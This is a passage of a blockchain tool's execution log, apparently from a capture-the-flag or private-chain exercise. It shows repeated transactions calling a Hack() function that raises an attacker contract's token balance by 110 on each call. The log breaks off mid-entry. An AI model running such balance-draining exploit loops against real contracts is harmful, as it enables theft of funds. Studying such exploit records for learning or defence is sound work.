[Txn]{'from': '0x4A436F11b0E3933194d3c1e41457eb34e482F819', 'to': '0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb', 'nonce': 2, 'value': 0, 'data': '0x23135e7000000000000000000000000021ac0df70a628cdb042dde6f4eb6cf49bde00ff7000000000000000000000000000000000000000000000000000000000000000c', 'gas': 110426, 'gasPrice': 60000000000, 'chainId': 6666}
2022-06-25 13:24:49.753 | SUCCESS  | Poseidon_Blockchain:SendTransaction:191 - 
[ConfirmTransaction][Traditional][Success]
[TransactionHash]0xf2a233cddda075012c109b63c1a467d5a38c3a837ee5de88065bba33783e87ac
[BlockNumber]636 [GasUsed]86426
[Logs][]
2022-06-25 13:24:49.831 | SUCCESS  | Poseidon_Blockchain:ReadOnlyCallFunction:341 - 
[CallFunction][ReadOnly][0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb]
[Function]a()
[Result]0x465B9CbD329A516894E08B9e960Fa3f525B67acA
2022-06-25 13:24:49.900 | SUCCESS  | Poseidon_Blockchain:ReadOnlyCallFunction:341 - 
[CallFunction][ReadOnly][0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7]
[Function]balances('0x465B9CbD329A516894E08B9e960Fa3f525B67acA',)
[Result]250
2022-06-25 13:24:50.010 | INFO     | Poseidon_Blockchain:CallFunction:328 - 
[CallFunction][Traditional][0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb]
[Function]Hack('0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7', 12)
[Value]0 [Gas]110426
2022-06-25 13:24:50.153 | INFO     | Poseidon_Blockchain:SendTransaction:184 - 
[SendTransaction][Traditional]
[TransactionHash]0xc1e7179d862253b85ef326350c9d258dee51c77558c3e686f11efe3006d524f5
[Txn]{'from': '0x4A436F11b0E3933194d3c1e41457eb34e482F819', 'to': '0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb', 'nonce': 3, 'value': 0, 'data': '0x23135e7000000000000000000000000021ac0df70a628cdb042dde6f4eb6cf49bde00ff7000000000000000000000000000000000000000000000000000000000000000c', 'gas': 110426, 'gasPrice': 60000000000, 'chainId': 6666}
2022-06-25 13:25:19.769 | SUCCESS  | Poseidon_Blockchain:SendTransaction:191 - 
[ConfirmTransaction][Traditional][Success]
[TransactionHash]0xc1e7179d862253b85ef326350c9d258dee51c77558c3e686f11efe3006d524f5
[BlockNumber]637 [GasUsed]86426
[Logs][]
2022-06-25 13:25:19.839 | SUCCESS  | Poseidon_Blockchain:ReadOnlyCallFunction:341 - 
[CallFunction][ReadOnly][0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb]
[Function]a()
[Result]0x465B9CbD329A516894E08B9e960Fa3f525B67acA
2022-06-25 13:25:19.948 | SUCCESS  | Poseidon_Blockchain:ReadOnlyCallFunction:341 - 
[CallFunction][ReadOnly][0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7]
[Function]balances('0x465B9CbD329A516894E08B9e960Fa3f525B67acA',)
[Result]360
2022-06-25 13:25:20.049 | INFO     | Poseidon_Blockchain:CallFunction:328 - 
[CallFunction][Traditional][0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb]
[Function]Hack('0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7', 12)
[Value]0 [Gas]110426
2022-06-25 13:25:20.182 | INFO     | Poseidon_Blockchain:SendTransaction:184 - 
[SendTransaction][Traditional]
[TransactionHash]0xd2badb45fb2cb087c6355ca9aefe5fe5a731fbafcf03f9256e350e078ecbd880
[Txn]{'from': '0x4A436F11b0E3933194d3c1e41457eb34e482F819', 'to': '0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb', 'nonce': 4, 'value': 0, 'data': '0x23135e7000000000000000000000000021ac0df70a628cdb042dde6f4eb6cf49bde00ff7000000000000000000000000000000000000000000000000000000000000000c', 'gas': 110426, 'gasPrice': 60000000000, 'chainId': 6666}
2022-06-25 13:25:49.739 | SUCCESS  | Poseidon_Blockchain:SendTransaction:191 - 
[ConfirmTransaction][Traditional][Success]
[TransactionHash]0xd2badb45fb2cb087c6355ca9aefe5fe5a731fbafcf03f9256e350e078ecbd880
[BlockNumber]638 [GasUsed]86426
[Logs][]
2022-06-25 13:25:49.803 | SUCCESS  | Poseidon_Blockchain:ReadOnlyCallFunction:341 - 
[CallFunction][ReadOnly][0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb]
[Function]a()
[Result]0x465B9CbD329A516894E08B9e960Fa3f525B67acA
2022-06-25 13:25:49.867 | SUCCESS  | Poseidon_Blockchain:ReadOnlyCallFunction:341 - 
[CallFunction][ReadOnly][0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7]
[Function]balances('0x465B9CbD329A516894E08B9e960Fa3f525B67acA',)
[Result]470
2022-06-25 13:25:49.969 | INFO     | Poseidon_Blockchain:CallFunction:328 - 
[CallFunction][Traditional][0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb]
[Function]Hack('0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7', 12)
[Value]0 [Gas]110426
2022-06-25 13:25:50.110 | INFO     | Poseidon_Blockchain:SendTransaction:184 - 
[SendTransaction][Traditional]
[TransactionHash]0x93f47cf1ead3151a17a51c35b1c1f112c6f12ef74eb68aca8e5a44993463d40a
[Txn]{'from': '0x4A436F11b0E3933194d3c1e41457eb34e482F819', 'to': '0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb', 'nonce': 5, 'value': 0, 'data': '0x23135e7000000000000000000000000021ac0df70a628cdb042dde6f4eb6cf49bde00ff7000000000000000000000000000000000000000000000000000000000000000c', 'gas': 110426, 'gasPrice': 60000000000, 'chainId': 6666}
2022-06-25 13:26:19.817 | SUCCESS  | Poseidon_Blockchain:SendTransaction:191 - 
[ConfirmTransaction][Traditional][Success]
[TransactionHash]0x93f47cf1ead3151a17a51c35b1c1f112c6f12ef74eb68aca8e5a44993463d40a
[BlockNumber]639 [GasUsed]86426
[Logs][]
2022-06-25 13:26:19.881 | SUCCESS  | Poseidon_Blockchain:ReadOnlyCallFunction:341 - 
[CallFunction][ReadOnly][0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb]
[Function]a()
[Result]0x465B9CbD329A516894E08B9e960Fa3f525B67acA
2022-06-25 13:26:19.945 | SUCCESS  | Poseidon_Blockchain:ReadOnlyCallFunction:341 - 
[CallFunction][ReadOnly][0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7]
[Function]balances('0x465B9CbD329A516894E08B9e960Fa3f525B67acA',)
[Result]580
2022-06-25 13:26:20.042 | INFO     | Poseidon_Blockchain:CallFunction:328 - 
[CallFunction][Traditional][0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb]
[Function]Hack('0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7', 12)
[Value]0 [Gas]110426
2022-06-25 13:26:20.178 | INFO     | Poseidon_Blockchain:SendTransaction:184 - 
[SendTransaction][Traditional]
[TransactionHash]0xc95246ec045f85b16ec65f42b80f47fac7616adcc0d0820cb7fa890449e92152
[Txn]{'from': '0x4A436F11b0E3933194d3c1e41457eb34e482F819', 'to': '0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb', 'nonce': 6, 'value': 0, 'data': '0x23135e7000000000000000000000000021ac0df70a628cdb042dde6f4eb6cf49bde00ff7000000000000000000000000000000000000000000000000000000000000000c', 'gas': 110426, 'gasPrice': 60000000000, 'chainId': 6666}
2022-06-25 13:26:49.801 | SUCCESS  | Poseidon_Blockchain:SendTransaction:191 - 
[ConfirmTransaction][Traditional][Success]
[TransactionHash]0xc95246ec045f85b16ec65f42b80f47fac7616adcc0d0820cb7fa890449e92152
[BlockNumber]640 [GasUsed]86426
[Logs][]
2022-06-25 13:26:49.866 | SUCCESS  | Poseidon_Blockchain:ReadOnlyCallFunction:341 - 
[CallFunction][ReadOnly][0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb]
[Function]a()
[Result]0x465B9CbD329A516894E08B9e960Fa3f525B67acA
2022-06-25 13:26:49.928 | SUCCESS  | Poseidon_Blockchain:ReadOnlyCallFunction:341 - 
[CallFunction][ReadOnly][0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7]
[Function]balances('0x465B9CbD329A516894E08B9e960Fa3f525B67acA',)
[Result]690
2022-06-25 13:26:50.023 | INFO     | Poseidon_Blockchain:CallFunction:328 - 
[CallFunction][Traditional][0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb]
[Function]Hack('0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7', 12)
[Value]0 [Gas]110426
2022-06-25 13:26:50.157 | INFO     | Poseidon_Blockchain:SendTransaction:184 - 
[SendTransaction][Traditional]
[TransactionHash]0xf18a950973a8ec3035508f846aaa6a42c1cf3a9cafdb371d868e43850d213ff3
[Txn]{'from': '0x4A436F11b0E3933194d3c1e41457eb34e482F819', 'to': '0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb', 'nonce': 7, 'value': 0, 'data': '0x23135e7000000000000000000000000021ac0df70a628cdb042dde6f4eb6cf49bde00ff7000000000000000000000000000000000000000000000000000000000000000c', 'gas': 110426, 'gasPrice': 60000000000, 'chainId': 6666}
2022-06-25 13:27:19.707 | SUCCESS  | Poseidon_Blockchain:SendTransaction:191 - 
[ConfirmTransaction][Traditional][Success]
[TransactionHash]0xf18a950973a8ec3035508f846aaa6a42c1cf3a9cafdb371d868e43850d213ff3
[BlockNumber]641 [GasUsed]86426
[Logs][]
2022-06-25 13:27:19.771 | SUCCESS  | Poseidon_Blockchain:ReadOnlyCallFunction:341 - 
[CallFunction][ReadOnly][0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb]
[Function]a()
[Result]0x465B9CbD329A516894E08B9e960Fa3f525B67acA
2022-06-25 13:27:19.835 | SUCCESS  | Poseidon_Blockchain:ReadOnlyCallFunction:341 - 
[CallFunction][ReadOnly][0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7]
[Function]balances('0x465B9CbD329A516894E08B9e960Fa3f525B67acA',)
[Result]800
2022-06-25 13:27:19.936 | INFO     | Poseidon_Blockchain:CallFunction:328 - 
[CallFunction][Traditional][0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb]
[Function]Hack('0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7', 12)
[Value]0 [Gas]110426
2022-06-25 13:27:20.073 | INFO     | Poseidon_Blockchain:SendTransaction:184 - 
[SendTransaction][Traditional]
[TransactionHash]0x6671015563e8a61a1cad2b3566c8fabf4c2d9b4fd071f51fa4d2b505a6998452
[Txn]{'from': '0x4A436F11b0E3933194d3c1e41457eb34e482F819', 'to': '0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb', 'nonce': 8, 'value': 0, 'data': '0x23135e7000000000000000000000000021ac0df70a628cdb042dde6f4eb6cf49bde00ff7000000000000000000000000000000000000000000000000000000000000000c', 'gas': 110426, 'gasPrice': 60000000000, 'chainId': 6666}
2022-06-25 13:27:49.783 | SUCCESS  | Poseidon_Blockchain:SendTransaction:191 - 
[ConfirmTransaction][Traditional][Success]
[TransactionHash]0x6671015563e8a61a1cad2b3566c8fabf4c2d9b4fd071f51fa4d2b505a6998452
[BlockNumber]642 [GasUsed]86426
[Logs][]
2022-06-25 13:27:49.851 | SUCCESS  | Poseidon_Blockchain:ReadOnlyCallFunction:341 - 
[CallFunction][ReadOnly][0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb]
[Function]a()
[Result]0x465B9CbD329A516894E08B9e960Fa3f525B67acA
2022-06-25 13:27:49.917 | SUCCESS  | Poseidon_Blockchain:ReadOnlyCallFunction:341 - 
[CallFunction][ReadOnly][0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7]
[Function]balances('0x465B9CbD329A516894E08B9e960Fa3f525B67acA',)
[Result]910
2022-06-25 13:27:50.021 | INFO     | Poseidon_Blockchain:CallFunction:328 - 
[CallFunction][Traditional][0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb]
[Function]Hack('0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7', 12)
[Value]0 [Gas]110426
2022-06-25 13:27:50.159 | INFO     | Poseidon_Blockchain:SendTransaction:184 - 
[SendTransaction][Traditional]
[TransactionHash]0xc4f399b53ddb6951928c06c3d075927d7ea1c18a83a666bbc2e332cff7a1d685
[Txn]{'from': '0x4A436F11b0E3933194d3c1e41457eb34e482F819', 'to': '0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb', 'nonce': 9, 'value': 0, 'data': '0x23135e7000000000000000000000000021ac0df70a628cdb042dde6f4eb6cf49bde00ff7000000000000000000000000000000000000000000000000000000000000000c', 'gas': 110426, 'gasPrice': 60000000000, 'chainId': 6666}
2022-06-25 13:28:19.769 | SUCCESS  | Poseidon_Blockchain:SendTransaction:191 - 
[ConfirmTransaction][Traditional][Success]
[TransactionHash]0xc4f399b53ddb6951928c06c3d075927d7ea1c18a83a666bbc2e332cff7a1d685
[BlockNumber]643 [GasUsed]86426
[Logs][]
2022-06-25 13:28:19.838 | SUCCESS  | Poseidon_Blockchain:ReadOnlyCallFunction:341 - 
[CallFunction][ReadOnly][0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb]
[Function]a()
[Result]0x465B9CbD329A516894E08B9e960Fa3f525B67acA
2022-06-25 13:28:19.907 | SUCCESS  | Poseidon_Blockchain:ReadOnlyCallFunction:341 - 
[CallFunction][ReadOnly][0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7]
[Function]balances('0x465B9CbD329A516894E08B9e960Fa3f525B67acA',)
[Result]1020
2022-06-25 13:28:20.012 | INFO     | Poseidon_Blockchain:CallFunction:328 - 
[CallFunction][Traditional][0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb]
[Function]Hack('0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7', 12)
[Value]0 [Gas]110426
2022-06-25 13:28:20.150 | INFO     | Poseidon_Blockchain:SendTransaction:184 - 
[SendTransaction][Traditional]
[TransactionHash]0x0965180fbbc4256a7b78d2eba1941fadf5243b453a00581381fb2db7a442fa00
[Txn]{'from': '0x4A436F11b0E3933194d3c1e41457eb34e482F819', 'to': '0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb', 'nonce': 10, 'value': 0, 'data': '0x23135e7000000000000000000000000021ac0df70a628cdb042dde6f4eb6cf49bde00ff7000000000000000000000000000000000000000000000000000000000000000c', 'gas': 110426, 'gasPrice': 60000000000, 'chainId': 6666}
2022-06-25 13:28:49.817 | SUCCESS  | Poseidon_Blockchain:SendTransaction:191 - 
[ConfirmTransaction][Traditional][Success]
[TransactionHash]0x0965180fbbc4256a7b78d2eba1941fadf5243b453a00581381fb2db7a442fa00
[BlockNumber]644 [GasUsed]86426
[Logs][]
2022-06-25 13:28:49.885 | SUCCESS  | Poseidon_Blockchain:ReadOnlyCallFunction:341 - 
[CallFunction][ReadOnly][0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb]
[Function]a()
[Result]0x465B9CbD329A516894E08B9e960Fa3f525B67acA
2022-06-25 13:28:49.958 | SUCCESS  | Poseidon_Blockchain:ReadOnlyCallFunction:341 - 
[CallFunction][ReadOnly][0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7]
[Function]balances('0x465B9CbD329A516894E08B9e960Fa3f525B67acA',)
[Result]1130
2022-06-25 13:28:50.064 | INFO     | Poseidon_Blockchain:CallFunction:328 - 
[CallFunction][Traditional][0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb]
[Function]Hack('0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7', 12)
[Value]0 [Gas]110426
2022-06-25 13:28:50.205 | INFO     | Poseidon_Blockchain:SendTransaction:184 - 
[SendTransaction][Traditional]
[TransactionHash]0x56ed6691dc814cf5d67af73005f3472b325bf38f0338020e33e4f395aefbc4c5
[Txn]{'from': '0x4A436F11b0E3933194d3c1e41457eb34e482F819', 'to': '0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb', 'nonce': 11, 'value': 0, 'data': '0x23135e7000000000000000000000000021ac0df70a628cdb042dde6f4eb6cf49bde00ff7000000000000000000000000000000000000000000000000000000000000000c', 'gas': 110426, 'gasPrice': 60000000000, 'chainId': 6666}
2022-06-25 13:29:19.727 | SUCCESS  | Poseidon_Blockchain:SendTransaction:191 - 
[ConfirmTransaction][Traditional][Success]
[TransactionHash]0x56ed6691dc814cf5d67af73005f3472b325bf38f0338020e33e4f395aefbc4c5
[BlockNumber]645 [GasUsed]86426
[Logs][]
2022-06-25 13:29:19.794 | SUCCESS  | Poseidon_Blockchain:ReadOnlyCallFunction:341 - 
[CallFunction][ReadOnly][0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb]
[Function]a()
[Result]0x465B9CbD329A516894E08B9e960Fa3f525B67acA
2022-06-25 13:29:19.863 | SUCCESS  | Poseidon_Blockchain:ReadOnlyCallFunction:341 - 
[CallFunction][ReadOnly][0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7]
[Function]balances('0x465B9CbD329A516894E08B9e960Fa3f525B67acA',)
[Result]1240
2022-06-25 13:29:19.965 | INFO     | Poseidon_Blockchain:CallFunction:328 - 
[CallFunction][Traditional][0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb]
[Function]Hack('0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7', 12)
[Value]0 [Gas]110426
2022-06-25 13:29:20.112 | INFO     | Poseidon_Blockchain:SendTransaction:184 - 
[SendTransaction][Traditional]
[TransactionHash]0xe607ed2f39f1d7c9f756895fb19c8d8f53b68cf940c31a5ad5ebdf74fde0d3d5
[Txn]{'from': '0x4A436F11b0E3933194d3c1e41457eb34e482F819', 'to': '0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb', 'nonce': 12, 'value': 0, 'data': '0x23135e7000000000000000000000000021ac0df70a628cdb042dde6f4eb6cf49bde00ff7000000000000000000000000000000000000000000000000000000000000000c', 'gas': 110426, 'gasPrice': 60000000000, 'chainId': 6666}
2022-06-25 13:29:49.808 | SUCCESS  | Poseidon_Blockchain:SendTransaction:191 - 
[ConfirmTransaction][Traditional][Success]
[TransactionHash]0xe607ed2f39f1d7c9f756895fb19c8d8f53b68cf940c31a5ad5ebdf74fde0d3d5
[BlockNumber]646 [GasUsed]86426
[Logs][]
2022-06-25 13:29:49.876 | SUCCESS  | Poseidon_Blockchain:ReadOnlyCallFunction:341 - 
[CallFunction][ReadOnly][0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb]
[Function]a()
[Result]0x465B9CbD329A516894E08B9e960Fa3f525B67acA
2022-06-25 13:29:49.946 | SUCCESS  | Poseidon_Blockchain:ReadOnlyCallFunction:341 - 
[CallFunction][ReadOnly][0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7]
[Function]balances('0x465B9CbD329A516894E08B9e960Fa3f525B67acA',)
[Result]1350
2022-06-25 13:29:50.047 | INFO     | Poseidon_Blockchain:CallFunction:328 - 
[CallFunction][Traditional][0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb]
[Function]Hack('0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7', 12)
[Value]0 [Gas]110426
2022-06-25 13:29:50.193 | INFO     | Poseidon_Blockchain:SendTransaction:184 - 
[SendTransaction][Traditional]
[TransactionHash]0x6eb8d85ae0ab200c89d98f35192f6d7e2a617e66578f5df4538901d766296b7a
[Txn]{'from': '0x4A436F11b0E3933194d3c1e41457eb34e482F819', 'to': '0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb', 'nonce': 13, 'value': 0, 'data': '0x23135e7000000000000000000000000021ac0df70a628cdb042dde6f4eb6cf49bde00ff7000000000000000000000000000000000000000000000000000000000000000c', 'gas': 110426, 'gasPrice': 60000000000, 'chainId': 6666}
2022-06-25 13:30:19.739 | SUCCESS  | Poseidon_Blockchain:SendTransaction:191 - 
[ConfirmTransaction][Traditional][Success]
[TransactionHash]0x6eb8d85ae0ab200c89d98f35192f6d7e2a617e66578f5df4538901d766296b7a
[BlockNumber]647 [GasUsed]86426
[Logs][]
2022-06-25 13:30:19.806 | SUCCESS  | Poseidon_Blockchain:ReadOnlyCallFunction:341 - 
[CallFunction][ReadOnly][0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb]
[Function]a()
[Result]0x465B9CbD329A516894E08B9e960Fa3f525B67acA
2022-06-25 13:30:19.872 | SUCCESS  | Poseidon_Blockchain:ReadOnlyCallFunction:341 - 
[CallFunction][ReadOnly][0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7]
[Function]balances('0x465B9CbD329A516894E08B9e960Fa3f525B67acA',)
[Result]1460
2022-06-25 13:30:19.981 | INFO     | Poseidon_Blockchain:CallFunction:328 - 
[CallFunction][Traditional][0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb]
[Function]Hack('0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7', 12)
[Value]0 [Gas]110426
2022-06-25 13:30:20.125 | INFO     | Poseidon_Blockchain:SendTransaction:184 - 
[SendTransaction][Traditional]
[TransactionHash]0x140ea79edeeb448a5e025789c9e38d0e925d7ce263dc75289f7d5189454ddee4
[Txn]{'from': '0x4A436F11b0E3933194d3c1e41457eb34e482F819', 'to': '0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb', 'nonce': 14, 'value': 0, 'data': '0x23135e7000000000000000000000000021ac0df70a628cdb042dde6f4eb6cf49bde00ff7000000000000000000000000000000000000000000000000000000000000000c', 'gas': 110426, 'gasPrice': 60000000000, 'chainId': 6666}
2022-06-25 13:30:49.775 | SUCCESS  | Poseidon_Blockchain:SendTransaction:191 - 
[ConfirmTransaction][Traditional][Success]
[TransactionHash]0x140ea79edeeb448a5e025789c9e38d0e925d7ce263dc75289f7d5189454ddee4
[BlockNumber]648 [GasUsed]86426
[Logs][]
2022-06-25 13:30:49.844 | SUCCESS  | Poseidon_Blockchain:ReadOnlyCallFunction:341 - 
[CallFunction][ReadOnly][0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb]
[Function]a()
[Result]0x465B9CbD329A516894E08B9e960Fa3f525B67acA
2022-06-25 13:30:49.923 | SUCCESS  | Poseidon_Blockchain:ReadOnlyCallFunction:341 - 
[CallFunction][ReadOnly][0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7]
[Function]balances('0x465B9CbD329A516894E08B9e960Fa3f525B67acA',)
[Result]1570
2022-06-25 13:30:50.030 | INFO     | Poseidon_Blockchain:CallFunction:328 - 
[CallFunction][Traditional][0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb]
[Function]Hack('0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7', 12)
[Value]0 [Gas]110426
2022-06-25 13:30:50.167 | INFO     | Poseidon_Blockchain:SendTransaction:184 - 
[SendTransaction][Traditional]
[TransactionHash]0x15384a87cf89e8122dc53b3eb1d2f99db53bd25155b3976e0830ee90deaa116a
[Txn]{'from': '0x4A436F11b0E3933194d3c1e41457eb34e482F819', 'to': '0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb', 'nonce': 15, 'value': 0, 'data': '0x23135e7000000000000000000000000021ac0df70a628cdb042dde6f4eb6cf49bde00ff7000000000000000000000000000000000000000000000000000000000000000c', 'gas': 110426, 'gasPrice': 60000000000, 'chainId': 6666}
2022-06-25 13:31:19.816 | SUCCESS  | Poseidon_Blockchain:SendTransaction:191 - 
[ConfirmTransaction][Traditional][Success]
[TransactionHash]0x15384a87cf89e8122dc53b3eb1d2f99db53bd25155b3976e0830ee90deaa116a
[BlockNumber]649 [GasUsed]86426
[Logs][]
2022-06-25 13:31:19.881 | SUCCESS  | Poseidon_Blockchain:ReadOnlyCallFunction:341 - 
[CallFunction][ReadOnly][0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb]
[Function]a()
[Result]0x465B9CbD329A516894E08B9e960Fa3f525B67acA
2022-06-25 13:31:19.947 | SUCCESS  | Poseidon_Blockchain:ReadOnlyCallFunction:341 - 
[CallFunction][ReadOnly][0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7]
[Function]balances('0x465B9CbD329A516894E08B9e960Fa3f525B67acA',)
[Result]1680
2022-06-25 13:31:20.052 | INFO     | Poseidon_Blockchain:CallFunction:328 - 
[CallFunction][Traditional][0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb]
[Function]Hack('0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7', 12)
[Value]0 [Gas]110426
2022-06-25 13:31:20.191 | INFO     | Poseidon_Blockchain:SendTransaction:184 - 
[SendTransaction][Traditional]
[TransactionHash]0x208ea59a6e43341fb6286d0caec9070ff626debbc403dcd9513a187361edc684
[Txn]{'from': '0x4A436F11b0E3933194d3c1e41457eb34e482F819', 'to': '0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb', 'nonce': 16, 'value': 0, 'data': '0x23135e7000000000000000000000000021ac0df70a628cdb042dde6f4eb6cf49bde00ff7000000000000000000000000000000000000000000000000000000000000000c', 'gas': 110426, 'gasPrice': 60000000000, 'chainId': 6666}
2022-06-25 13:31:49.816 | SUCCESS  | Poseidon_Blockchain:SendTransaction:191 - 
[ConfirmTransaction][Traditional][Success]
[TransactionHash]0x208ea59a6e43341fb6286d0caec9070ff626debbc403dcd9513a187361edc684
[BlockNumber]650 [GasUsed]86426
[Logs][]
2022-06-25 13:31:49.883 | SUCCESS  | Poseidon_Blockchain:ReadOnlyCallFunction:341 - 
[CallFunction][ReadOnly][0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb]
[Function]a()
[Result]0x465B9CbD329A516894E08B9e960Fa3f525B67acA
2022-06-25 13:31:49.951 | SUCCESS  | Poseidon_Blockchain:ReadOnlyCallFunction:341 - 
[CallFunction][ReadOnly][0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7]
[Function]balances('0x465B9CbD329A516894E08B9e960Fa3f525B67acA',)
[Result]1790
2022-06-25 13:31:50.053 | INFO     | Poseidon_Blockchain:CallFunction:328 - 
[CallFunction][Traditional][0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb]
[Function]Hack('0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7', 12)
[Value]0 [Gas]110426
2022-06-25 13:31:50.190 | INFO     | Poseidon_Blockchain:SendTransaction:184 - 
[SendTransaction][Traditional]
[TransactionHash]0x56706eb641034729d47da3b91073800f6b00fc5c9ccc6c5992e2b880a50a8e18
[Txn]{'from': '0x4A436F11b0E3933194d3c1e41457eb34e482F819', 'to': '0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb', 'nonce': 17, 'value': 0, 'data': '0x23135e7000000000000000000000000021ac0df70a628cdb042dde6f4eb6cf49bde00ff7000000000000000000000000000000000000000000000000000000000000000c', 'gas': 110426, 'gasPrice': 60000000000, 'chainId': 6666}
2022-06-25 13:32:19.741 | SUCCESS  | Poseidon_Blockchain:SendTransaction:191 - 
[ConfirmTransaction][Traditional][Success]
[TransactionHash]0x56706eb641034729d47da3b91073800f6b00fc5c9ccc6c5992e2b880a50a8e18
[BlockNumber]651 [GasUsed]86426
[Logs][]
2022-06-25 13:32:19.815 | SUCCESS  | Poseidon_Blockchain:ReadOnlyCallFunction:341 - 
[CallFunction][ReadOnly][0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb]
[Function]a()
[Result]0x465B9CbD329A516894E08B9e960Fa3f525B67acA
2022-06-25 13:32:19.888 | SUCCESS  | Poseidon_Blockchain:ReadOnlyCallFunction:341 - 
[CallFunction][ReadOnly][0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7]
[Function]balances('0x465B9CbD329A516894E08B9e960Fa3f525B67acA',)
[Result]1900
2022-06-25 13:32:19.999 | INFO     | Poseidon_Blockchain:CallFunction:328 - 
[CallFunction][Traditional][0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb]
[Function]Hack('0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7', 12)
[Value]0 [Gas]110426
2022-06-25 13:32:20.145 | INFO     | Poseidon_Blockchain:SendTransaction:184 - 
[SendTransaction][Traditional]
[TransactionHash]0xa79deb8b143039fbf6d3a8655871299984a15322af3f14b27d4983ad830da1bc
[Txn]{'from': '0x4A436F11b0E3933194d3c1e41457eb34e482F819', 'to': '0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb', 'nonce': 18, 'value': 0, 'data': '0x23135e7000000000000000000000000021ac0df70a628cdb042dde6f4eb6cf49bde00ff7000000000000000000000000000000000000000000000000000000000000000c', 'gas': 110426, 'gasPrice': 60000000000, 'chainId': 6666}
2022-06-25 13:32:49.812 | SUCCESS  | Poseidon_Blockchain:SendTransaction:191 - 
[ConfirmTransaction][Traditional][Success]
[TransactionHash]0xa79deb8b143039fbf6d3a8655871299984a15322af3f14b27d4983ad830da1bc
[BlockNumber]652 [GasUsed]86426
[Logs][]
2022-06-25 13:32:49.884 | SUCCESS  | Poseidon_Blockchain:ReadOnlyCallFunction:341 - 
